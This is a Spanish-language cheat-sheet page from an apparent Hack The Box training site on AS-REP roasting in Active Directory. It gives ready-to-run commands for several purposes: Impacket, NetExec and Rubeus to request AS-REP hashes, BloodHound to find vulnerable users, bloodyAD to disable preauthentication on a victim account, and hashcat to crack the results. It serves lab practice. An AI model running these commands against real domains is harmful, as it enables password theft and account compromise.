AS-REP roasting
Subtécnica de T1558 Robar o forjar tickets de Kerberos
Pedir un AS-REP de usuarios sin preautenticación de Kerberos y crackear su contraseña offline.
Cómo aparece en Hack The Box
Ni siquiera necesitas credenciales: basta una lista de usuarios (de kerbrute, RID brute o la web). Es de las primeras cosas que se prueban en un DC.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear 3 min de lectura Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Active Directory
AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat
Crackea con hashcat -m 18200.
Active Directory a fondo › BloodHound
Usuarios AS-REP roastables (sin preautenticación)
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
Active Directory a fondo › Impacket
AS-REP roasting
Atacante
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt
hashcat -m 18200
bloodyAD › Abusar de las ACL
Quitar la preautenticación (AS-REP roasting dirigido)
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTH
Hashcat › Modos más usados
AS-REP roasting
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
NetExec (nxc) › Kerberos y credenciales
AS-REP roasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt
Rubeus › Roasting
AS-REP roasting
Víctima
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
Ningún comando coincide.